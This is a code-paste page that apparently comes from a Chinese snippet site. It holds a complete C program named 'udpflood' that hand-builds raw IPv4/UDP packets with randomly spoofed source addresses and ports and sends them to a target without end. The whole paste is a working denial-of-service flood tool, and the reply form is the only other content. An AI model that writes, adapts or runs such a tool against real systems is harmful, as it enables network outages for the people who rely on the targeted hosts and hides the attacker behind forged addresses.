[C] udpflood →→→→→进入此内容的聊天室

来自 Cobalt Bat, 2023-01-17, 写在 C, 查看 68 次.
URL http://www.code666.cn/view/9ddd7ac5
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <stdint.h>
  5. #include <sys/time.h>
  6. #include <unistd.h>
  7. #include <sys/socket.h>
  8. #include <arpa/inet.h>
  9.  
  10. #define BUFFSIZE 4096
  11. #define TIME_TO_LIVE 64
  12. #define IP_LENGTH 16
  13.  
  14. int randint(int start,int end) {
  15.     // Include start and end
  16.     struct timeval t;
  17.     gettimeofday(&t,NULL);
  18.     srand((unsigned int) t.tv_usec);
  19.  
  20.     return rand() % (end - start) + start;
  21. }
  22.  
  23. int randomport()
  24. {
  25.         return randint(0, 65535);
  26. }
  27.  
  28. void *randomip()
  29. {
  30.         static char ip[IP_LENGTH];
  31.         memset(ip, 0, IP_LENGTH);
  32.         char *buf = (char *)malloc(4 * sizeof(char));
  33.         for (int i = 0; i < 4; ++i)
  34.         {
  35.                 sprintf(buf, "%d", randint(0, 255));
  36.                 strcat(ip, buf);
  37.                 memset(buf, 0, 4);
  38.                 if (i != 3)
  39.                 {
  40.                         ip[strlen(ip)] = '.';
  41.                 }
  42.         }
  43.         free(buf);
  44.         return ip;
  45. }
  46.  
  47. typedef struct
  48. {
  49.         uint8_t ihl: 4;
  50.         uint8_t v: 4;
  51.         uint8_t tos;
  52.         uint16_t total_len;
  53.         uint16_t id;
  54.         uint16_t off;
  55.         uint8_t ttl;
  56.         uint8_t protocol;
  57.         uint16_t chksum;
  58.         uint32_t srcip;
  59.         uint32_t dstip;
  60. } __attribute__((packed)) IPHeader;
  61.  
  62. typedef struct
  63. {
  64.         uint16_t srcport;
  65.         uint16_t dstport;
  66.         uint16_t len;
  67.         uint16_t chksum;
  68. } __attribute__((packed)) UDPHeader;
  69.  
  70. typedef struct
  71. {
  72.         uint32_t srcip;
  73.         uint32_t dstip;
  74.         uint8_t zero;
  75.         uint8_t protocol;
  76.         uint16_t len;
  77. } __attribute__((packed)) PseudoUDPHeader;
  78.  
  79. int checksum(void *data, size_t ckl)
  80. {
  81.         uint16_t *p = (uint16_t *)data;
  82.         size_t l = ckl;
  83.         uint32_t sum = 0;
  84.         while (l > 1)
  85.         {
  86.                 sum += htons(*p); p++;
  87.                 l -= sizeof(uint16_t);
  88.         }
  89.         if (l == 1)
  90.         {
  91.                 sum += htons(*(uint8_t *)p);
  92.         }
  93.         sum = (sum >> 16) + (sum & 0xffff);
  94.         sum += (sum >> 16);
  95.         return ~sum;
  96. }
  97.  
  98. int send_udp(char srcip[], uint16_t srcport, char dstip[], uint16_t dstport, char msg[], size_t msglen)
  99. {
  100.         // String IP to int
  101.         uint32_t srcip_int32, dstip_int32;
  102.         if (inet_pton(AF_INET, srcip, &srcip_int32) <= 0 || inet_pton(AF_INET, dstip, &dstip_int32) <= 0)
  103.         {
  104.                 return -1;
  105.         }
  106.  
  107.         // Buffer Get Ready //
  108.         char *buff;
  109.         IPHeader *ip_header; // IP Header //
  110.         UDPHeader *udp_header; // UDP Header //
  111.         char *data; // UDP Data //
  112.         PseudoUDPHeader *pseudo_udp_header; // Fake UDP Header //
  113.  
  114.         buff = (char *)malloc(BUFFSIZE * sizeof(char));
  115.         ip_header = (IPHeader *)buff;
  116.         udp_header = (UDPHeader *)(ip_header + 1);
  117.         data = (char *)(udp_header + 1);
  118.         pseudo_udp_header = (PseudoUDPHeader *)((char *)udp_header - sizeof(PseudoUDPHeader));
  119.  
  120.         // Fill fake udp header
  121.         pseudo_udp_header -> srcip = srcip_int32;
  122.         pseudo_udp_header -> dstip = dstip_int32;
  123.         pseudo_udp_header -> zero = 0;
  124.         pseudo_udp_header -> protocol = IPPROTO_UDP;
  125.         pseudo_udp_header -> len = htons(sizeof(*udp_header) + msglen);
  126.  
  127.         // Fill udp header
  128.         udp_header -> srcport = htons(srcport);
  129.         udp_header -> dstport = htons(dstport);
  130.         udp_header -> len = htons(sizeof(*udp_header) + msglen);
  131.         udp_header -> chksum = 0;
  132.  
  133.         // Fill data
  134.         memcpy(data, msg, msglen);
  135.  
  136.         // Udp checksum
  137.         size_t ckl = sizeof(*pseudo_udp_header) + sizeof(*udp_header) + msglen;
  138.         udp_header -> chksum = htons(checksum(pseudo_udp_header, ckl));
  139.  
  140.         // Fill ip header
  141.         ip_header -> ihl = sizeof(*ip_header) / sizeof (uint32_t);
  142.         ip_header -> v = 4;
  143.         ip_header -> tos = 0;
  144.         ip_header -> total_len = htons(sizeof(*ip_header) + sizeof(*udp_header) + msglen);
  145.         ip_header -> id = htons(0); // auto
  146.         ip_header -> off = htons(0);
  147.         ip_header -> ttl = TIME_TO_LIVE;
  148.         ip_header -> protocol = IPPROTO_UDP;
  149.         ip_header -> srcip = srcip_int32;
  150.         ip_header -> dstip = dstip_int32;
  151.         ip_header -> chksum = 0;
  152.  
  153.         // Send Packet
  154.         int fd = -1;
  155.         fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  156.         if (fd == -1)
  157.         {
  158.                 return -2;
  159.         }
  160.         else
  161.         {
  162.                 int on = 1;
  163.                 if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
  164.                 {
  165.                         close(fd);
  166.                         free(buff);
  167.                         return -3;
  168.                 }
  169.         }
  170.         struct sockaddr_in dstaddr;
  171.         memset(&dstaddr, 0, sizeof(dstaddr));
  172.         dstaddr.sin_family = AF_INET;
  173.         dstaddr.sin_addr.s_addr = dstip_int32;
  174.         dstaddr.sin_port = htons(dstport);
  175.         if (sendto(fd, buff, (sizeof(*ip_header) + sizeof(*udp_header) + msglen), 0, (struct sockaddr *)&dstaddr, sizeof(dstaddr)) != (sizeof(*ip_header) + sizeof(*udp_header) + msglen))
  176.         {
  177.                 close(fd);
  178.                 free(buff);
  179.                 return -4;
  180.         }
  181.         close(fd);
  182.         free(buff);
  183.        
  184.         return 1;
  185. }
  186.  
  187. int main(int argc, char *argv[])
  188. {
  189.         long long times;
  190.         int dstport, r;
  191.         sscanf(argv[2], "%d", &dstport);
  192.        
  193.         for (;;)
  194.         {
  195.                 times++;
  196.                 r = send_udp(randomip(), randomport(), argv[1], dstport, argv[3], strlen(argv[3]));
  197.                 if (r == 1)
  198.                 {
  199.                         printf("%-9d | YES\n", times);
  200.                 }
  201.                 else if (r == -1)
  202.                 {
  203.                         printf("%-9d | address error\n", times);
  204.                 }
  205.                 else if (r == -2)
  206.                 {
  207.                         printf("%-9d | permission denied\n", times);
  208.                 }
  209.                 else if (r == -3)
  210.                 {
  211.                         printf("%-9d | setsockopt error\n", times);
  212.                 }
  213.                 else if (r == -4)
  214.                 {
  215.                         printf("%-9d | send error\n", times);
  216.                 }
  217.         }
  218.         return 0;
  219. }

回复 "udpflood"

这儿你可以回复上面这条便签

captcha